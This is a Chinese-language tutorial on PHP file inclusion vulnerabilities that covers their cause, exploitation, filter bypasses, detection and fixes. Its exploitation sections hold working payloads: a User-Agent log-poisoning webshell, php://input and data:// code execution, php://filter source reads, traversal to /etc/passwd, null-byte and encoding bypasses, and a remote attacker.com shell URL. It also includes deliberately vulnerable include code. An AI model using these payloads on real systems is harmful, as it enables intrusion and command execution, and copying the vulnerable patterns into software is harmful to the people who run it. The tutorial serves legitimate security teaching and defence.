文件包含漏洞深度解析:从原理到实战利用与防御
1. 项目概述:为什么文件包含漏洞是Web安全的“隐形杀手”
在Web应用安全测试的日常工作中,我们常常把目光聚焦在SQL注入、XSS跨站脚本这些“明星”漏洞上,它们破坏力强,特征明显,容易被自动化工具扫描发现。但有一种漏洞,它可能潜伏得更深,利用起来更灵活,危害范围也更广,却常常被开发者甚至部分安全人员低估——这就是文件包含漏洞。我处理过不少安全事件,发现很多中高级的渗透测试,最终拿到服务器权限的突破口,往往就是一个不起眼的文件包含点。它不像注入那样直接操作数据库,也不像XSS那样在用户端弹窗,它更像一把“万能钥匙”,能让你读取敏感配置、执行系统命令,甚至直接拿到一个WebShell。
简单来说,文件包含漏洞的本质是应用程序在引入外部文件时,未对用户可控的输入进行严格过滤,导致攻击者可以包含并执行任意文件。根据包含行为发生的位置,主要分为本地文件包含和远程文件包含。前者只能包含服务器本地的文件,后者则可以通过URL等方式包含远程服务器上的文件,危害性更大。很多PHP老系统,甚至一些使用了不当文件引入逻辑的Java、.NET应用都可能存在这个问题。这个“汇总”项目,就是把我这些年挖洞、审计、应急响应中遇到的各类文件包含场景、利用技巧、绕过手段和修复方案,进行一次系统性的梳理和沉淀。无论你是刚入门的安全爱好者,还是想巩固知识体系的安全工程师,这篇文章都能帮你建立起对文件包含漏洞立体、实战化的认知。
2. 漏洞原理与核心机制深度解析
要理解如何利用和防御,必须从根上明白它为什么会产生。文件包含通常源于程序开发中的一种常见需求:代码复用。为了减少重复代码,开发者会将一些公共函数、配置信息或页面模板放在独立的文件中,然后在需要的地方通过特定的函数将其引入。问题就出在这个“引入”的过程。
2.1 包含函数的运作机制
以最经典的PHP为例,有四个主要的包含函数:include(),require(),include_once(),require_once()。它们的区别在于错误处理(require在失败时产生致命错误,include产生警告)和重复包含检查(_once后缀的函数会检查是否已包含)。但它们的核心行为是一致的:将指定文件的内容读取出来,并在当前位置将其作为PHP代码进行解析执行。
关键点在于“作为PHP代码解析执行”。这意味着,只要被包含的文件内容符合PHP语法,无论其文件扩展名是.php、.txt还是.jpg,其中的PHP代码都会被服务器执行。例如,一个图片文件logo.jpg,如果我们在文件末尾偷偷加上一句``,并且服务器存在文件包含漏洞,我们包含这个图片文件时,其中的PHP代码就会被执行。这是文件包含漏洞危害性的根本来源。
2.2 漏洞产生的典型代码模式
漏洞产生的代码模式非常固定,通常如下所示:
// 危险示例:未过滤用户输入 $page = $_GET['page']; // 用户直接控制参数 include('/pages/' . $page . '.php'); // 另一个常见模式:通过参数动态加载模块 $module = $_GET['module']; include('modules/' . $module . '/index.php');在这两段代码中,$page和$module变量直接来源于用户输入($_GET)。开发者的本意可能是让用户通过?page=home来访问/pages/home.php。但攻击者可以构造?page=../../../../etc/passwd。此时,include的参数就变成了/pages/../../../../etc/passwd.php,经过系统路径解析,最终会尝试包含/etc/passwd这个系统文件(虽然加了.php后缀可能导致包含失败,但已经构成了目录遍历)。如果服务器配置允许包含非PHP文件,且/etc/passwd内容被输出,就造成了敏感信息泄露。
注意:这里有一个非常重要的细节。很多初学者认为包含
/etc/passwd就会直接执行其中的内容,这是错误的。/etc/passwd是文本文件,不是PHP代码,因此不会被“执行”,但它的内容会被读取并输出到页面上,造成信息泄露。真正的代码执行,需要被包含的文件中包含有效的PHP标签。
2.3 LFI与RFI的根本区别
本地文件包含和远程文件包含的区分,主要取决于服务器的PHP配置选项:allow_url_include。当这个选项设置为On时,include和require等函数的参数可以是一个URL(如http://attacker.com/shell.txt),PHP会通过HTTP协议去获取远程文件的内容并执行。这就是远程文件包含,它让攻击变得非常容易,因为攻击者可以直接在自家服务器上放置恶意文件,然后让目标服务器来包含执行。
而在allow_url_include=Off的默认安全配置下,只能进行本地文件包含。攻击者需要利用服务器上已存在的文件,或者想方设法上传一个包含代码的文件到服务器上,然后再去包含它。因此,LFI的利用难度和技巧性通常高于RFI。现在由于安全意识的普及,allow_url_include在生产环境中极少开启,所以我们遇到和研究的重点,更多的是LFI及其各种奇技淫巧的利用方式。
3. 本地文件包含的实战利用技巧
当RFI被禁用,我们面对LFI时,攻击思路就从“让服务器拉我的文件”转变为“让服务器执行它已有的或我能放进去的文件里的代码”。这是一个更考验对目标系统了解程度和思维发散性的过程。
3.1 敏感信息读取与目录遍历
这是最直接、最基础的利用方式。通过目录遍历符(../或..\)跳出Web目录,读取服务器上的敏感文件。
- 系统配置文件:
/etc/passwd(Linux用户列表)、/etc/shadow(Linux密码哈希,需root权限)、C:\Windows\System32\drivers\etc\hosts(Windows主机文件)。 - Web应用配置:
/var/www/html/config.php、../config/database.ini、./wp-config.php(WordPress)。这些文件里常有数据库用户名密码,是通往“下一步”的钥匙。 - 日志文件:这是LFI升级为代码执行的关键跳板。访问日志(如Apache的
/var/log/apache2/access.log)、错误日志(error.log)记录了每个请求的详细信息。我们可以通过User-Agent或请求路径,将一段PHP代码“注入”到日志文件中,然后再去包含这个日志文件,代码就会被执行。
实操示例:利用日志文件GetShell假设我们发现一个LFI点:http://target.com/index.php?file=news我们可以尝试包含Apache日志:http://target.com/index.php?file=../../../../var/log/apache2/access.log如果成功读取,我们会在日志内容中看到大量HTTP请求记录。接下来,我们构造一个特殊的请求,将PHP代码写入User-Agent头:
GET /index.php HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']); ?>发送这个请求后,我们的代码就被记录在了access.log的某一行。然后,我们再次利用LFI包含这个日志文件。由于日志文件被当作PHP包含,其中的``标签会被解析,我们传入的cmd参数(如?cmd=id)中的命令就会被执行。这样,我们就通过LFI实现了远程命令执行。
3.2 PHP内置协议与封装器的妙用
这是LFI利用中的“高级魔法”。PHP提供了一系列内置的流协议,可以处理不同的输入/输出源。在文件包含的上下文中,它们可以被用来绕过一些过滤,或者直接执行代码。
php://input:这是一个只读流,允许你读取原始POST数据。当我们将file参数设置为php://input,并在POST Body中直接写入PHP代码时,这些代码会被执行。这通常需要allow_url_include开启,但在某些情况下,即使它为Off,php://input也可能可用。POST /vuln.php?file=php://input HTTP/1.1 ... <?php system('whoami'); ?>php://filter:这是功能最强大、最常用的协议。它是一个过滤器,可以对数据流进行读写过滤。在LFI中,我们主要用它的“读”功能来获取文件的源代码,特别是当应用在包含后直接输出文件内容时。- 读取PHP源码:如果直接包含
.php文件,代码会被执行,我们看不到源代码。但使用php://filter/convert.base64-encode/resource=目标文件,可以先将文件内容进行base64编码再读取,我们拿到base64字符串后解码即可得到源码。vuln.php?file=php://filter/convert.base64-encode/resource=index.php - 组合利用:过滤器可以串联。例如,先使用
string.rot13处理,再base64编码,用于绕过一些简单的过滤检查。
- 读取PHP源码:如果直接包含
data://:这是一个数据流封装器,可以直接在URI中嵌入数据。它相当于一个内联的文件。使用data://text/plain,<?php phpinfo();?>或data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(base64编码后的代码),可以直接执行其中的PHP代码。注意:这通常需要allow_url_include开启。zip://与phar://:这两个协议用于访问压缩包内的文件。如果你能上传一个ZIP或PHAR压缩包,并且知道服务器上的绝对路径,就可以利用包含漏洞来执行压缩包内的PHP脚本。例如,上传一个包含shell.php的test.zip,然后访问zip:///绝对路径/test.zip%23shell.php(#需要编码为%23)。
实操心得:在实际测试中,
php://filter的利用率极高。很多CMS或框架在报错、调试页面中,会直接echo或filter协议读源码一读一个准。这是信息收集阶段获取数据库配置、API密钥、后台路径的利器。
3.3 利用临时文件与进程信息
这些属于比较“偏门”但有时能出奇制胜的技巧,依赖于服务器特定的环境或配置。
/proc/self/environ:在Linux系统中,/proc/self/是一个指向当前进程目录的符号链接。environ文件包含了当前进程的所有环境变量。其中,HTTP_USER_AGENT环境变量直接来自我们的请求头。因此,和利用日志文件类似,我们可以通过修改User-Agent注入代码,然后包含/proc/self/environ来执行它。这种方法比日志文件更隐蔽,因为不需要向日志写入记录。/proc/self/fd/:这个目录包含了当前进程打开的文件描述符。有时,通过包含类似/proc/self/fd/12这样的文件,可以读取到Web服务器进程正在处理的临时文件或其他敏感数据。PHP Session文件:PHP会将Session数据存储在服务器上的文件中(默认在
/tmp/或/var/lib/php/sessions/),文件名通常是sess_[sessionid]。如果Session数据中存储了用户可控的内容(比如表单提交的某个值),并且我们知道了Session文件的路径和名称,就可以通过LFI包含它来执行代码。难点在于预测Session文件的完整路径。
4. 常见过滤绕过手法实录
现代应用和WAF(Web应用防火墙)不会坐以待毙,它们会设置各种过滤规则来拦截常见的包含攻击。这时,就需要我们掌握一些绕过技巧。
4.1 路径遍历字符串过滤与编码绕过
开发人员最常见的防御是过滤../。
- 双写绕过:如果过滤函数只是简单地将
../替换为空,可以尝试....//。经过替换后,中间的../被移除,剩下的../又组合了起来。 - 编码绕过:
- URL编码:
../->%2e%2e%2f或%2e%2e/或..%2f - 双重URL编码:
../->%252e%252e%252f - Unicode编码、UTF-8编码等,取决于服务器解析层的解码顺序。
- URL编码:
- 绝对路径替代:如果知道Web目录的绝对路径,可以直接使用绝对路径,如
/var/www/html/config.php,完全避开../。 - 使用
..\:在Windows服务器上,可以尝试使用反斜杠。
4.2 后缀拼接与空字节截断
很多开发者为图省事,会在动态包含的变量后强制加上一个后缀,比如.php。
include($_GET['page'] . '.php');对于这种防御,有经典的“空字节截断”技巧(仅适用于PHP版本 < 5.3.4)。在路径末尾添加一个空字节(%00),可以截断其后的一切内容。
vuln.php?page=../../../../etc/passwd%00这样,实际执行的代码是include('../../../../etc/passwd%00' . '.php'),由于%00是字符串结束符,.php就被截断掉了,最终包含的是/etc/passwd。注意:这个技巧在高版本PHP中已修复。
如果空字节无效,可以尝试利用?或#来“伪截断”。在URL中,?之后是查询字符串,#之后是锚点,服务器在获取文件路径时可能会忽略它们之后的部分。但这取决于服务器(如Apache)的解析特性,并非总是有效。
vuln.php?page=../../../../etc/passwd?.php vuln.php?page=../../../../etc/passwd%23.php4.3 协议封装器与过滤器的组合拳
当直接包含路径被拦截时,协议封装器往往是突破口。WAF可能只检测../、etc/passwd等关键字,但对php://filter这样的协议字符串检测不严。
- 利用
php://filter嵌套绕过:可以尝试使用多重过滤器,或者将敏感路径作为resource参数的值进行传递。 - 长度限制绕过:有时应用会限制包含路径的长度。
php://filter/convert.base64-encode/resource=index.php这样的字符串很长,但如果被截断,可能仍然有效,因为PHP的流处理器可能对不完整的协议字符串有一定容错性(但这不稳定)。
4.4 基于上下文的白名单绕过
一些高级的应用会采用白名单机制,只允许包含指定的几个文件。
$allowed_pages = array('home', 'about', 'contact'); $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); }对于这种,单纯的路径遍历就失效了。我们需要寻找其他入口点:
- 寻找其他未受保护的文件包含点:应用其他功能模块可能也存在包含,但忘了做校验。
- 利用文件上传功能:如果能上传一个图片,并且知道上传后的路径,可以尝试包含这个图片马。即使白名单校验了后缀,我们也可以利用文件包含“执行非PHP文件内PHP代码”的特性。
- 利用本地文件包含的“包含”特性本身:有时,包含一个白名单内的文件,但这个文件内部又存在动态包含(即“二次包含”),且这个内部包含的参数我们可控,那么就可以通过白名单文件作为跳板。
5. 漏洞挖掘与自动化检测思路
知道了原理和利用方法,我们如何在黑盒或白盒测试中发现它呢?
5.1 黑盒测试(渗透测试)关注点
- 参数枚举:关注所有可能表示文件、页面、模板、模块的参数。如:
file,page,template,module,inc,load,path,document等。使用Burp Suite的Intruder或自定义字典进行Fuzz。 - 观察URL与错误信息:
- URL形态如
index.php?page=about。 - 尝试修改参数值为不存在的文件,观察错误信息。典型的PHP文件包含错误会显示“Warning: include() [function.include]: Failed opening ‘xxx’ for inclusion...”,这直接暴露了包含功能。
- 尝试包含一个已知存在的文件,如
?file=index.php,观察页面变化。如果页面布局变了,或者出现了index.php里的内容,那很可能存在包含。
- URL形态如
- 测试基础Payload:
- 简单目录遍历:
../../../../etc/passwd - 协议封装器:
php://filter/convert.base64-encode/resource=index.php - 空字节测试(针对老系统):
../../../etc/passwd%00
- 简单目录遍历:
- 结合其他漏洞:如果存在文件上传功能,上传一个内容为``的
test.jpg,然后尝试用包含点去包含这个图片的访问路径,看命令是否执行。
5.2 白盒审计(代码审计)关键函数
直接搜索源代码中的包含函数:
- PHP:
include,include_once,require,require_once,virtual,fopen,file_get_contents(如果内容被eval或assert执行)。 - Java:
include,jsp:include,<c:import>,RequestDispatcher.forward()等。 - .NET:
Server.Execute,Response.WriteFile,<!--#include file="..."-->。
审计时重点看:
- 变量是否用户可控:追踪
$_GET,$_POST,$_COOKIE,$_REQUEST等超全局变量是否未经净化就直接传入包含函数。 - 过滤是否完整:检查是否有过滤
../,但忽略了编码变体;是否只过滤了一次;是否在后端和前端都做了校验。 - 路径拼接逻辑:检查是直接拼接,还是使用了安全的路径处理函数(如
realpath)。
5.3 自动化工具辅助
- Burp Suite Scanner:专业版的主动扫描器能够较好地检测常见的文件包含漏洞。
- OWASP ZAP:同样具备相关的扫描规则。
- 自定义脚本:针对特定目标,可以编写Python脚本,批量测试参数和Payload,并结合日志分析、响应差异判断是否存在漏洞。
避坑技巧:自动化扫描不是万能的。很多深度利用场景(如日志注入、
php://filter读源码)需要人工判断。自动化工具可能报告一个“可能的本地文件包含”,但能否真正利用、如何利用,需要手动验证和深入探索。不要完全依赖工具的报告。
6. 修复方案与安全开发实践
知道了怎么攻击,才能更好地防御。修复文件包含漏洞的核心原则是:避免用户输入直接控制文件路径。
6.1 白名单机制(最推荐)
这是最有效、最根本的解决方法。定义一个允许被包含的文件列表,只包含列表内的文件。
$allowed_pages = ['home', 'news', 'contact']; // 允许的页面标识 $page = $_GET['page']; if (!in_array($page, $allowed_pages)) { $page = 'home'; // 或直接抛出错误、跳转404 } include('/templates/' . $page . '.php');白名单的关键在于“名单”本身要硬编码或来自可信源,绝对不能被用户篡改。
6.2 严格过滤与路径校验
如果业务上必须实现一定程度的动态包含,则需要:
- 过滤所有目录遍历字符:不仅过滤
../,还要过滤它的各种编码形式,以及反斜杠..\。$file = str_replace(array('../', '..\\', '..'), '', $_GET['file']); // 更好的做法是使用正则表达式彻底清除 $file = preg_replace('/\.\.(\/|\\\\)?/', '', $file); - 使用
basename()函数:该函数返回路径中的文件名部分,会自动去掉任何目录信息。
但注意,这只能用于包含当前目录下的文件,且要防范文件名本身可能包含$file = basename($_GET['file']); // 用户传入 ../../etc/passwd 也会变成 passwd../的情况(虽然basename会处理掉)。 - 固定目录前缀,并校验完整路径:
使用$base_dir = '/var/www/html/includes/'; $user_file = $_GET['file']; $full_path = realpath($base_dir . $user_file); // 获取绝对路径 // 检查获取的绝对路径是否以我们允许的基目录开头 if (strpos($full_path, $base_dir) === 0) { include($full_path); } else { die('非法访问!'); }realpath()可以解析符号链接和../,然后通过strpos检查是否在允许的目录内。这是一种比较安全的做法。
6.3 安全配置与框架最佳实践
- PHP配置:
- 确保
allow_url_include和allow_url_fopen设置为Off(默认值)。这是防止RFI的铁闸。 - 设置
open_basedir限制PHP脚本可以访问的文件系统目录。这能将破坏限制在一定范围内。
- 确保
- 使用安全的框架或模板引擎:现代MVC框架(如Laravel, Symfony)和模板引擎(如Twig, Smarty)通常有安全的文件加载机制,避免了直接使用
include/require。如果项目用了这些,要确保使用的是框架提供的安全方法,而不是自己混用原生PHP包含。 - 最小权限原则:运行Web服务的用户(如www-data, apache)应该只拥有对Web目录的必要读写权限,绝不能拥有对系统关键目录(如
/etc,/root)的读取权限。 - 代码审计与安全培训:将文件包含漏洞作为代码审计的必查项。对开发人员进行安全编码培训,让他们理解直接包含用户输入的危害。
文件包含漏洞就像一把藏在代码深处的瑞士军刀,在开发者手里是提高效率的工具,在攻击者手里却成了打开系统大门的钥匙。防御它的关键,不在于多么复杂的WAF规则,而在于开发之初就建立起来的安全意识和编码规范。每一次动态包含,都要问自己:这个路径,用户真的可以控制吗?我有没有把它锁死在安全的范围内?想明白了这些问题,绝大多数文件包含漏洞在编码阶段就能被消灭。
